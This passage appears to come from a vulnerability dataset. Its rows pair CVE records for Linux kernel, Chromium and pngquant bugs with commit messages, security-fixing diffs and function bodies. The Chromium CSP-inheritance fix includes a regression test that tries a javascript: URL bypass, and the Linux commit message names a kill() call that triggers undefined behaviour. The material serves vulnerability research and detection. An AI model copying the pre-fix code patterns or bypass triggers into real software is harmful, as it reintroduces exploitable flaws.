bits,\n * transparency chunks to full alpha channel; strip 16-bit-per-sample\n * images to 8 bits per sample; and convert grayscale to RGB[A] */\n@@ -304,6 +298,12 @@ static pngquant_error rwpng_read_image24_libpng(FILE *infile, png24_image *mainp\n \n rowbytes = png_get_rowbytes(png_ptr, info_ptr);\n \n+ // For overflow safety reject images that won't fit in 32-bit\n+ if (rowbytes > INT_MAX/mainprog_ptr->height) {\n+ png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n+ return PNG_OUT_OF_MEMORY_ERROR;\n+ }\n+\n if ((mainprog_ptr->rgba_data = malloc(rowbytes * mainprog_ptr->height)) == NULL) {\n fprintf(stderr, \"pngquant readpng: unable to allocate image data\\n\");\n png_destroy_read_struct(&png_ptr, &info_ptr, NULL);"}
|
static void rwpng_free_chunks(struct rwpng_chunk *chunk) {
if (!chunk) return;
rwpng_free_chunks(chunk->next);
free(chunk->data);
free(chunk);
}
|
static void rwpng_free_chunks(struct rwpng_chunk *chunk) {
if (!chunk) return;
rwpng_free_chunks(chunk->next);
free(chunk->data);
free(chunk);
}
|
C
| null | null | null |
@@ -244,12 +244,6 @@ static pngquant_error rwpng_read_image24_libpng(FILE *infile, png24_image *mainp
png_get_IHDR(png_ptr, info_ptr, &mainprog_ptr->width, &mainprog_ptr->height,
&bit_depth, &color_type, NULL, NULL, NULL);
- // For overflow safety reject images that won't fit in 32-bit
- if (mainprog_ptr->width > INT_MAX/mainprog_ptr->height) {
- png_destroy_read_struct(&png_ptr, &info_ptr, NULL);
- return PNG_OUT_OF_MEMORY_ERROR; /* not quite true, but whatever */
- }
-
/* expand palette images to RGB, low-bit-depth grayscale images to 8 bits,
* transparency chunks to full alpha channel; strip 16-bit-per-sample
* images to 8 bits per sample; and convert grayscale to RGB[A] */
@@ -304,6 +298,12 @@ static pngquant_error rwpng_read_image24_libpng(FILE *infile, png24_image *mainp
rowbytes = png_get_rowbytes(png_ptr, info_ptr);
+ // For overflow safety reject images that won't fit in 32-bit
+ if (rowbytes > INT_MAX/mainprog_ptr->height) {
+ png_destroy_read_struct(&png_ptr, &info_ptr, NULL);
+ return PNG_OUT_OF_MEMORY_ERROR;
+ }
+
if ((mainprog_ptr->rgba_data = malloc(rowbytes * mainprog_ptr->height)) == NULL) {
fprintf(stderr, "pngquant readpng: unable to allocate image data\n");
png_destroy_read_struct(&png_ptr, &info_ptr, NULL);
|
pngquant
|
b7c217680cda02dddced245d237ebe8c383be285
|
350c3a4b0d178daad53fd9fc7213bb94c348dd95
| 0
|
static void rwpng_free_chunks(struct rwpng_chunk *chunk) {
if (!chunk) return;
rwpng_free_chunks(chunk->next);
free(chunk->data);
free(chunk);
}
|
83,242
| null |
Local
|
Not required
|
Partial
|
CVE-2018-10124
|
https://www.cvedetails.com/cve/CVE-2018-10124/
|
CWE-119
|
Low
| null | null | null |
2018-04-16
| 2.1
|
The kill_something_info function in kernel/signal.c in the Linux kernel before 4.13, when an unspecified architecture and compiler is used, might allow local users to cause a denial of service via an INT_MIN argument.
|
2018-08-24
|
DoS Overflow
| 0
|
https://github.com/torvalds/linux/commit/4ea77014af0d6205b05503d1c7aac6eace11d473
|
4ea77014af0d6205b05503d1c7aac6eace11d473
|
kernel/signal.c: avoid undefined behaviour in kill_something_info
When running kill(72057458746458112, 0) in userspace I hit the following
issue.
UBSAN: Undefined behaviour in kernel/signal.c:1462:11
negation of -2147483648 cannot be represented in type 'int':
CPU: 226 PID: 9849 Comm: test Tainted: G B ---- ------- 3.10.0-327.53.58.70.x86_64_ubsan+ #116
Hardware name: Huawei Technologies Co., Ltd. RH8100 V3/BC61PBIA, BIOS BLHSV028 11/11/2014
Call Trace:
dump_stack+0x19/0x1b
ubsan_epilogue+0xd/0x50
__ubsan_handle_negate_overflow+0x109/0x14e
SYSC_kill+0x43e/0x4d0
SyS_kill+0xe/0x10
system_call_fastpath+0x16/0x1b
Add code to avoid the UBSAN detection.
[akpm@linux-foundation.org: tweak comment]
Link: http://lkml.kernel.org/r/1496670008-59084-1-git-send-email-zhongjiang@huawei.com
Signed-off-by: zhongjiang <zhongjiang@huawei.com>
Cc: Oleg Nesterov <oleg@redhat.com>
Cc: Michal Hocko <mhocko@kernel.org>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Xishi Qiu <qiuxishi@huawei.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| 0
|
kernel/signal.c
|
{"sha": "caed9133ae52733aa96baf74cb4ef3c344832125", "filename": "kernel/signal.c", "status": "modified", "additions": 4, "deletions": 0, "changes": 4, "blob_url": "https://github.com/torvalds/linux/blob/4ea77014af0d6205b05503d1c7aac6eace11d473/kernel/signal.c", "raw_url": "https://github.com/torvalds/linux/raw/4ea77014af0d6205b05503d1c7aac6eace11d473/kernel/signal.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/kernel/signal.c?ref=4ea77014af0d6205b05503d1c7aac6eace11d473", "patch": "@@ -1402,6 +1402,10 @@ static int kill_something_info(int sig, struct siginfo *info, pid_t pid)\n \t\treturn ret;\n \t}\n \n+\t/* -INT_MIN is undefined. Exclude this case to avoid a UBSAN warning */\n+\tif (pid == INT_MIN)\n+\t\treturn -ESRCH;\n+\n \tread_lock(&tasklist_lock);\n \tif (pid != -1) {\n \t\tret = __kill_pgrp_info(sig, info,"}
|
static int sigsuspend(sigset_t *set)
{
current->saved_sigmask = current->blocked;
set_current_blocked(set);
while (!signal_pending(current)) {
__set_current_state(TASK_INTERRUPTIBLE);
schedule();
}
set_restore_sigmask();
return -ERESTARTNOHAND;
}
|
static int sigsuspend(sigset_t *set)
{
current->saved_sigmask = current->blocked;
set_current_blocked(set);
while (!signal_pending(current)) {
__set_current_state(TASK_INTERRUPTIBLE);
schedule();
}
set_restore_sigmask();
return -ERESTARTNOHAND;
}
|
C
| null | null | null |
@@ -1402,6 +1402,10 @@ static int kill_something_info(int sig, struct siginfo *info, pid_t pid)
return ret;
}
+ /* -INT_MIN is undefined. Exclude this case to avoid a UBSAN warning */
+ if (pid == INT_MIN)
+ return -ESRCH;
+
read_lock(&tasklist_lock);
if (pid != -1) {
ret = __kill_pgrp_info(sig, info,
|
linux
|
4ea77014af0d6205b05503d1c7aac6eace11d473
|
67c6777a5d331dda32a4c4a1bf0cac85bdaaaed8
| 0
|
static int sigsuspend(sigset_t *set)
{
current->saved_sigmask = current->blocked;
set_current_blocked(set);
while (!signal_pending(current)) {
__set_current_state(TASK_INTERRUPTIBLE);
schedule();
}
set_restore_sigmask();
return -ERESTARTNOHAND;
}
|
163,915
| null |
Remote
|
Not required
|
Partial
|
CVE-2017-15395
|
https://www.cvedetails.com/cve/CVE-2017-15395/
|
CWE-416
|
Medium
| null | null | null |
2018-02-07
| 4.3
|
A use after free in Blink in Google Chrome prior to 62.0.3202.62 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page, aka an ImageCapture NULL pointer dereference.
|
2018-02-23
| null | 0
|
https://github.com/chromium/chromium/commit/84ca1ee18bbc32f3cb035d071e8271e064dfd4d7
|
84ca1ee18bbc32f3cb035d071e8271e064dfd4d7
|
Convert MediaTrackConstraints to a ScriptValue
IDLDictionaries such as MediaTrackConstraints should not be stored on
the heap which would happen when binding one as a parameter to a
callback. This change converts the object to a ScriptValue ahead of
time. This is fine because the value will be passed to a
ScriptPromiseResolver that will converted it to a V8 value if it
isn't already.
Bug: 759457
Change-Id: I3009a0f7711cc264aeaae07a36c18a6db8c915c8
Reviewed-on: https://chromium-review.googlesource.com/701358
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Commit-Queue: Reilly Grant <reillyg@chromium.org>
Cr-Commit-Position: refs/heads/master@{#507177}
| 0
|
third_party/WebKit/Source/modules/imagecapture/ImageCapture.cpp
|
{"sha": "cfa6bc543e33e519feeaed6ec885e00d5a49277b", "filename": "third_party/WebKit/LayoutTests/imagecapture/MediaStreamTrack-applyConstraints.html", "status": "modified", "additions": 3, "deletions": 1, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/84ca1ee18bbc32f3cb035d071e8271e064dfd4d7/third_party/WebKit/LayoutTests/imagecapture/MediaStreamTrack-applyConstraints.html", "raw_url": "https://github.com/chromium/chromium/raw/84ca1ee18bbc32f3cb035d071e8271e064dfd4d7/third_party/WebKit/LayoutTests/imagecapture/MediaStreamTrack-applyConstraints.html", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/LayoutTests/imagecapture/MediaStreamTrack-applyConstraints.html?ref=84ca1ee18bbc32f3cb035d071e8271e064dfd4d7", "patch": "@@ -54,7 +54,9 @@\n \n let appliedConstraints;\n try {\n- appliedConstraints = await videoTrack.applyConstraints(constraints);\n+ let promise = videoTrack.applyConstraints(constraints);\n+ GCController.collect();\n+ appliedConstraints = await promise;\n } catch (error) {\n assert_unreached('applyConstraints(): ' + error.message);\n }"}<_**next**_>{"sha": "5a8e282a68cafd776d3ee2f9b5617052a22a7340", "filename": "third_party/WebKit/Source/modules/imagecapture/ImageCapture.cpp", "status": "modified", "additions": 7, "deletions": 3, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/84ca1ee18bbc32f3cb035d071e8271e064dfd4d7/third_party/WebKit/Source/modules/imagecapture/ImageCapture.cpp", "raw_url": "https://github.com/chromium/chromium/raw/84ca1ee18bbc32f3cb035d071e8271e064dfd4d7/third_party/WebKit/Source/modules/imagecapture/ImageCapture.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/imagecapture/ImageCapture.cpp?ref=84ca1ee18bbc32f3cb035d071e8271e064dfd4d7", "patch": "@@ -541,8 +541,12 @@ void ImageCapture::SetMediaTrackConstraints(\n \n MediaTrackConstraints resolver_constraints;\n resolver_constraints.setAdvanced(constraints_vector);\n- auto resolver_cb = WTF::Bind(&ImageCapture::ResolveWithMediaTrackConstraints,\n- WrapPersistent(this), resolver_constraints);\n+\n+ // An IDLDictionaryBase cannot safely be bound into a callback so the\n+ // ScriptValue is created ahead of time. See https://crbug.com/759457.\n+ auto resolver_cb = WTF::Bind(\n+ &ImageCapture::ResolveWithMediaTrackConstraints, WrapPersistent(this),\n+ ScriptValue::From(resolver->GetScriptState(), resolver_constraints));\n \n service_->SetOptions(\n stream_track_->Component()->Source()->Id(), std::move(settings),\n@@ -832,7 +836,7 @@ void ImageCapture::ResolveWithPhotoCapabilities(\n }\n \n void ImageCapture::ResolveWithMediaTrackConstraints(\n- MediaTrackConstraints constraints,\n+ ScriptValue constraints,\n ScriptPromiseResolver* resolver) {\n DCHECK(resolver);\n resolver->Resolve(constraints);"}<_**next**_>{"sha": "d66fd73c3c196fba691d6c98637d28b7041cdd7c", "filename": "third_party/WebKit/Source/modules/imagecapture/ImageCapture.h", "status": "modified", "additions": 1, "deletions": 2, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/84ca1ee18bbc32f3cb035d071e8271e064dfd4d7/third_party/WebKit/Source/modules/imagecapture/ImageCapture.h", "raw_url": "https://github.com/chromium/chromium/raw/84ca1ee18bbc32f3cb035d071e8271e064dfd4d7/third_party/WebKit/Source/modules/imagecapture/ImageCapture.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/imagecapture/ImageCapture.h?ref=84ca1ee18bbc32f3cb035d071e8271e064dfd4d7", "patch": "@@ -23,7 +23,6 @@ namespace blink {\n \n class ExceptionState;\n class MediaStreamTrack;\n-class MediaTrackConstraints;\n class PhotoCapabilities;\n class ScriptPromiseResolver;\n class WebImageCaptureFrameGrabber;\n@@ -97,7 +96,7 @@ class MODULES_EXPORT ImageCapture final\n void ResolveWithNothing(ScriptPromiseResolver*);\n void ResolveWithPhotoSettings(ScriptPromiseResolver*);\n void ResolveWithPhotoCapabilities(ScriptPromiseResolver*);\n- void ResolveWithMediaTrackConstraints(MediaTrackConstraints,\n+ void ResolveWithMediaTrackConstraints(ScriptValue constraints,\n ScriptPromiseResolver*);\n \n Member<MediaStreamTrack> stream_track_;"}
|
ScriptPromise ImageCapture::getPhotoCapabilities(ScriptState* script_state) {
ScriptPromiseResolver* resolver = ScriptPromiseResolver::Create(script_state);
ScriptPromise promise = resolver->Promise();
if (!service_) {
resolver->Reject(DOMException::Create(kNotFoundError, kNoServiceError));
return promise;
}
service_requests_.insert(resolver);
auto resolver_cb = WTF::Bind(&ImageCapture::ResolveWithPhotoCapabilities,
WrapPersistent(this));
service_->GetPhotoState(
stream_track_->Component()->Source()->Id(),
ConvertToBaseCallback(WTF::Bind(
&ImageCapture::OnMojoGetPhotoState, WrapPersistent(this),
WrapPersistent(resolver), WTF::Passed(std::move(resolver_cb)),
false /* trigger_take_photo */)));
return promise;
}
|
ScriptPromise ImageCapture::getPhotoCapabilities(ScriptState* script_state) {
ScriptPromiseResolver* resolver = ScriptPromiseResolver::Create(script_state);
ScriptPromise promise = resolver->Promise();
if (!service_) {
resolver->Reject(DOMException::Create(kNotFoundError, kNoServiceError));
return promise;
}
service_requests_.insert(resolver);
auto resolver_cb = WTF::Bind(&ImageCapture::ResolveWithPhotoCapabilities,
WrapPersistent(this));
service_->GetPhotoState(
stream_track_->Component()->Source()->Id(),
ConvertToBaseCallback(WTF::Bind(
&ImageCapture::OnMojoGetPhotoState, WrapPersistent(this),
WrapPersistent(resolver), WTF::Passed(std::move(resolver_cb)),
false /* trigger_take_photo */)));
return promise;
}
|
C
| null | null | null |
@@ -541,8 +541,12 @@ void ImageCapture::SetMediaTrackConstraints(
MediaTrackConstraints resolver_constraints;
resolver_constraints.setAdvanced(constraints_vector);
- auto resolver_cb = WTF::Bind(&ImageCapture::ResolveWithMediaTrackConstraints,
- WrapPersistent(this), resolver_constraints);
+
+ // An IDLDictionaryBase cannot safely be bound into a callback so the
+ // ScriptValue is created ahead of time. See https://crbug.com/759457.
+ auto resolver_cb = WTF::Bind(
+ &ImageCapture::ResolveWithMediaTrackConstraints, WrapPersistent(this),
+ ScriptValue::From(resolver->GetScriptState(), resolver_constraints));
service_->SetOptions(
stream_track_->Component()->Source()->Id(), std::move(settings),
@@ -832,7 +836,7 @@ void ImageCapture::ResolveWithPhotoCapabilities(
}
void ImageCapture::ResolveWithMediaTrackConstraints(
- MediaTrackConstraints constraints,
+ ScriptValue constraints,
ScriptPromiseResolver* resolver) {
DCHECK(resolver);
resolver->Resolve(constraints);
|
Chrome
|
84ca1ee18bbc32f3cb035d071e8271e064dfd4d7
|
aba274a9a60f4084e9459113ce2161c258ac71bc
| 0
|
ScriptPromise ImageCapture::getPhotoCapabilities(ScriptState* script_state) {
ScriptPromiseResolver* resolver = ScriptPromiseResolver::Create(script_state);
ScriptPromise promise = resolver->Promise();
if (!service_) {
resolver->Reject(DOMException::Create(kNotFoundError, kNoServiceError));
return promise;
}
service_requests_.insert(resolver);
auto resolver_cb = WTF::Bind(&ImageCapture::ResolveWithPhotoCapabilities,
WrapPersistent(this));
// m_streamTrack->component()->source()->id() is the renderer "name" of the
// camera;
// TODO(mcasas) consider sending the security origin as well:
// scriptState->getExecutionContext()->getSecurityOrigin()->toString()
service_->GetPhotoState(
stream_track_->Component()->Source()->Id(),
ConvertToBaseCallback(WTF::Bind(
&ImageCapture::OnMojoGetPhotoState, WrapPersistent(this),
WrapPersistent(resolver), WTF::Passed(std::move(resolver_cb)),
false /* trigger_take_photo */)));
return promise;
}
|
146,959
| null |
Remote
|
Not required
| null |
CVE-2017-5118
|
https://www.cvedetails.com/cve/CVE-2017-5118/
|
CWE-732
|
Medium
| null |
Partial
| null |
2017-10-27
| 4.3
|
Blink in Google Chrome prior to 61.0.3163.79 for Mac, Windows, and Linux, and 61.0.3163.81 for Android, failed to correctly propagate CSP restrictions to javascript scheme pages, which allowed a remote attacker to bypass content security policy via a crafted HTML page.
|
2019-10-02
|
Bypass
| 0
|
https://github.com/chromium/chromium/commit/0ab2412a104d2f235d7b9fe19d30ef605a410832
|
0ab2412a104d2f235d7b9fe19d30ef605a410832
|
Inherit CSP when we inherit the security origin
This prevents attacks that use main window navigation to get out of the
existing csp constraints such as the related bug
Bug: 747847
Change-Id: I1e57b50da17f65d38088205b0a3c7c49ef2ae4d8
Reviewed-on: https://chromium-review.googlesource.com/592027
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#492333}
| 0
|
third_party/WebKit/Source/core/frame/WebLocalFrameImpl.cpp
|
{"sha": "21c4fb33ce2d66db750d92a892e3871bd5d9b576", "filename": "third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/javascript-url-navigation-inherits-csp.html", "status": "added", "additions": 16, "deletions": 0, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/javascript-url-navigation-inherits-csp.html", "raw_url": "https://github.com/chromium/chromium/raw/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/javascript-url-navigation-inherits-csp.html", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/javascript-url-navigation-inherits-csp.html?ref=0ab2412a104d2f235d7b9fe19d30ef605a410832", "patch": "@@ -0,0 +1,16 @@\n+<!DOCTYPE html>\n+<script src=\"/resources/testharness.js\"></script>\n+<script src=\"/resources/testharnessreport.js\"></script>\n+\n+<script>\n+ var window_url = encodeURIComponent(\"javascript:'<iframe src=/content-security-policy/support/fail.js />'\");\n+ var report_cookie_name = encodeURIComponent(\"javascript-url-navigation-inherits-csp\");\n+ window.open(\"support/test_csp_self_window.sub.html?window_url=\" + window_url + \"&report_cookie_name=\" + report_cookie_name);\n+ setTimeout(function() {\n+ var s = document.createElement('script');\n+ s.async = true;\n+ s.defer = true;\n+ s.src = \"../support/checkReport.sub.js?reportField=violated-directive&reportValue=frame-src%20%27none%27\";\n+ document.body.appendChild(s);\n+ }, 2000);\n+</script>"}<_**next**_>{"sha": "ab0f8f82e3951a412824d066f670af17377dcec5", "filename": "third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/support/test_csp_self_window.sub.html", "status": "added", "additions": 8, "deletions": 0, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/support/test_csp_self_window.sub.html", "raw_url": "https://github.com/chromium/chromium/raw/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/support/test_csp_self_window.sub.html", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/support/test_csp_self_window.sub.html?ref=0ab2412a104d2f235d7b9fe19d30ef605a410832", "patch": "@@ -0,0 +1,8 @@\n+<!DOCTYPE html>\n+<script src=\"/resources/testharness.js\"></script>\n+<script src=\"/resources/testharnessreport.js\"></script>\n+\n+<script>\n+ var window_url = decodeURIComponent(\"{{GET[window_url]}}\").replace('<', '<').replace('>', '>');\n+ window.open(window_url, \"_self\");\n+</script>"}<_**next**_>{"sha": "dd418ec7648ba3f5603b0e070460ac171b8bc4d4", "filename": "third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/support/test_csp_self_window.sub.html.sub.headers", "status": "added", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/support/test_csp_self_window.sub.html.sub.headers", "raw_url": "https://github.com/chromium/chromium/raw/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/support/test_csp_self_window.sub.html.sub.headers", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/navigation/support/test_csp_self_window.sub.html.sub.headers?ref=0ab2412a104d2f235d7b9fe19d30ef605a410832", "patch": "@@ -0,0 +1,6 @@\n+Expires: Mon, 26 Jul 1997 05:00:00 GMT\n+Cache-Control: no-store, no-cache, must-revalidate\n+Cache-Control: post-check=0, pre-check=0, false\n+Pragma: no-cache\n+Set-Cookie: {{GET[report_cookie_name]}}={{$id:uuid()}}; Path=/content-security-policy/navigation/\n+Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-inline'; report-uri ../../support/report.py?op=put&reportID={{$id}}"}<_**next**_>{"sha": "12245ff457031d6ccac563310d652a7fe83c88aa", "filename": "third_party/WebKit/LayoutTests/http/tests/security/contentSecurityPolicy/script-src-in-iframe-expected.txt", "status": "modified", "additions": 0, "deletions": 1, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/LayoutTests/http/tests/security/contentSecurityPolicy/script-src-in-iframe-expected.txt", "raw_url": "https://github.com/chromium/chromium/raw/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/LayoutTests/http/tests/security/contentSecurityPolicy/script-src-in-iframe-expected.txt", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/LayoutTests/http/tests/security/contentSecurityPolicy/script-src-in-iframe-expected.txt?ref=0ab2412a104d2f235d7b9fe19d30ef605a410832", "patch": "@@ -1,5 +1,4 @@\n CONSOLE ERROR: The 'allow' directive has been replaced with 'default-src'. Please use that directive instead, as 'allow' has no effect.\n-CONSOLE ERROR: The 'allow' directive has been replaced with 'default-src'. Please use that directive instead, as 'allow' has no effect.\n Loads an iframe (a) which loads an iframe (b) which in turns tries to load an external script. The iframe (a) has a content security policy disabling external scripts. As this policy does not apply to (b), the script should be executed.\n \n "}<_**next**_>{"sha": "c74e6c8893bb027a7928a49ca50a59062dc91319", "filename": "third_party/WebKit/Source/core/dom/Document.cpp", "status": "modified", "additions": 21, "deletions": 8, "changes": 29, "blob_url": "https://github.com/chromium/chromium/blob/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/Source/core/dom/Document.cpp", "raw_url": "https://github.com/chromium/chromium/raw/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/Source/core/dom/Document.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/dom/Document.cpp?ref=0ab2412a104d2f235d7b9fe19d30ef605a410832", "patch": "@@ -5839,6 +5839,8 @@ void Document::InitSecurityContext(const DocumentInit& initializer) {\n AddInsecureNavigationUpgrade(to_upgrade);\n }\n \n+ ContentSecurityPolicy* policy_to_inherit = nullptr;\n+\n if (IsSandboxed(kSandboxOrigin)) {\n cookie_url_ = url_;\n SetSecurityOrigin(SecurityOrigin::CreateUnique());\n@@ -5854,12 +5856,14 @@ void Document::InitSecurityContext(const DocumentInit& initializer) {\n GetSecurityOrigin()->SetUniqueOriginIsPotentiallyTrustworthy(true);\n if (owner->GetSecurityOrigin()->CanLoadLocalResources())\n GetSecurityOrigin()->GrantLoadLocalResources();\n+ policy_to_inherit = owner->GetContentSecurityPolicy();\n }\n } else if (Document* owner = initializer.OwnerDocument()) {\n cookie_url_ = owner->CookieURL();\n // We alias the SecurityOrigins to match Firefox, see Bug 15313\n // https://bugs.webkit.org/show_bug.cgi?id=15313\n SetSecurityOrigin(owner->GetSecurityOrigin());\n+ policy_to_inherit = owner->GetContentSecurityPolicy();\n } else {\n cookie_url_ = url_;\n SetSecurityOrigin(SecurityOrigin::Create(url_));\n@@ -5891,7 +5895,7 @@ void Document::InitSecurityContext(const DocumentInit& initializer) {\n SetContentSecurityPolicy(\n ImportsController()->Master()->GetContentSecurityPolicy());\n } else {\n- InitContentSecurityPolicy();\n+ InitContentSecurityPolicy(nullptr, policy_to_inherit);\n }\n \n if (GetSecurityOrigin()->HasSuborigin())\n@@ -5926,7 +5930,13 @@ void Document::InitSecurityContext(const DocumentInit& initializer) {\n SetFeaturePolicy(g_empty_string);\n }\n \n-void Document::InitContentSecurityPolicy(ContentSecurityPolicy* csp) {\n+// the first parameter specifies a policy to use as the document csp meaning\n+// the document will take ownership of the policy\n+// the second parameter specifies a policy to inherit meaning the document\n+// will attempt to copy over the policy\n+void Document::InitContentSecurityPolicy(\n+ ContentSecurityPolicy* csp,\n+ const ContentSecurityPolicy* policy_to_inherit) {\n SetContentSecurityPolicy(csp ? csp : ContentSecurityPolicy::Create());\n \n // We inherit the parent/opener's CSP for documents with \"local\" schemes:\n@@ -5938,24 +5948,27 @@ void Document::InitContentSecurityPolicy(ContentSecurityPolicy* csp) {\n //\n // TODO(dcheng): This is similar enough to work we're doing in\n // 'DocumentLoader::ensureWriter' that it might make sense to combine them.\n- if (frame_) {\n+ if (policy_to_inherit) {\n+ GetContentSecurityPolicy()->CopyStateFrom(policy_to_inherit);\n+ } else if (frame_) {\n Frame* inherit_from = frame_->Tree().Parent() ? frame_->Tree().Parent()\n : frame_->Client()->Opener();\n if (inherit_from && frame_ != inherit_from) {\n DCHECK(inherit_from->GetSecurityContext() &&\n inherit_from->GetSecurityContext()->GetContentSecurityPolicy());\n- ContentSecurityPolicy* policy_to_inherit =\n+ policy_to_inherit =\n inherit_from->GetSecurityContext()->GetContentSecurityPolicy();\n if (url_.IsEmpty() || url_.ProtocolIsAbout() || url_.ProtocolIsData() ||\n url_.ProtocolIs(\"blob\") || url_.ProtocolIs(\"filesystem\")) {\n GetContentSecurityPolicy()->CopyStateFrom(policy_to_inherit);\n }\n- // Plugin documents inherit their parent/opener's 'plugin-types' directive\n- // regardless of URL.\n- if (IsPluginDocument())\n- GetContentSecurityPolicy()->CopyPluginTypesFrom(policy_to_inherit);\n }\n }\n+ // Plugin documents inherit their parent/opener's 'plugin-types' directive\n+ // regardless of URL.\n+ if (policy_to_inherit && IsPluginDocument())\n+ GetContentSecurityPolicy()->CopyPluginTypesFrom(policy_to_inherit);\n+\n GetContentSecurityPolicy()->BindToExecutionContext(this);\n }\n "}<_**next**_>{"sha": "0667c0c51ea98b13f4266c913e99c34dea484190", "filename": "third_party/WebKit/Source/core/dom/Document.h", "status": "modified", "additions": 7, "deletions": 1, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/Source/core/dom/Document.h", "raw_url": "https://github.com/chromium/chromium/raw/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/Source/core/dom/Document.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/dom/Document.h?ref=0ab2412a104d2f235d7b9fe19d30ef605a410832", "patch": "@@ -1037,7 +1037,13 @@ class CORE_EXPORT Document : public ContainerNode,\n const SVGDocumentExtensions* SvgExtensions();\n SVGDocumentExtensions& AccessSVGExtensions();\n \n- void InitContentSecurityPolicy(ContentSecurityPolicy* = nullptr);\n+ // the first parameter specifies a policy to use as the document csp meaning\n+ // the document will take ownership of the policy\n+ // the second parameter specifies a policy to inherit meaning the document\n+ // will attempt to copy over the policy\n+ void InitContentSecurityPolicy(\n+ ContentSecurityPolicy* = nullptr,\n+ const ContentSecurityPolicy* policy_to_inherit = nullptr);\n \n bool IsSecureTransitionTo(const KURL&) const;\n "}<_**next**_>{"sha": "bd46b9d507b12455c4beae30363baf11e9ef08ec", "filename": "third_party/WebKit/Source/core/frame/WebLocalFrameImpl.cpp", "status": "modified", "additions": 0, "deletions": 1, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/Source/core/frame/WebLocalFrameImpl.cpp", "raw_url": "https://github.com/chromium/chromium/raw/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/Source/core/frame/WebLocalFrameImpl.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/frame/WebLocalFrameImpl.cpp?ref=0ab2412a104d2f235d7b9fe19d30ef605a410832", "patch": "@@ -1818,7 +1818,6 @@ void WebLocalFrameImpl::SetInputEventsScaleForEmulation(\n \n void WebLocalFrameImpl::LoadJavaScriptURL(const KURL& url) {\n DCHECK(GetFrame());\n-\n // This is copied from ScriptController::executeScriptIfJavaScriptURL.\n // Unfortunately, we cannot just use that method since it is private, and\n // it also doesn't quite behave as we require it to for bookmarklets. The"}<_**next**_>{"sha": "a11d1147135855cfaec5c2f0da99aa2b9b233fa3", "filename": "third_party/WebKit/Source/core/loader/DocumentLoader.cpp", "status": "modified", "additions": 6, "deletions": 3, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/Source/core/loader/DocumentLoader.cpp", "raw_url": "https://github.com/chromium/chromium/raw/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/Source/core/loader/DocumentLoader.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/loader/DocumentLoader.cpp?ref=0ab2412a104d2f235d7b9fe19d30ef605a410832", "patch": "@@ -898,9 +898,12 @@ void DocumentLoader::EndWriting() {\n writer_.Clear();\n }\n \n-void DocumentLoader::DidInstallNewDocument(Document* document) {\n+void DocumentLoader::DidInstallNewDocument(Document* document,\n+ InstallNewDocumentReason reason) {\n document->SetReadyState(Document::kLoading);\n- document->InitContentSecurityPolicy(content_security_policy_.Release());\n+ if (content_security_policy_) {\n+ document->InitContentSecurityPolicy(content_security_policy_.Release());\n+ }\n \n if (history_item_ && IsBackForwardLoadType(load_type_))\n 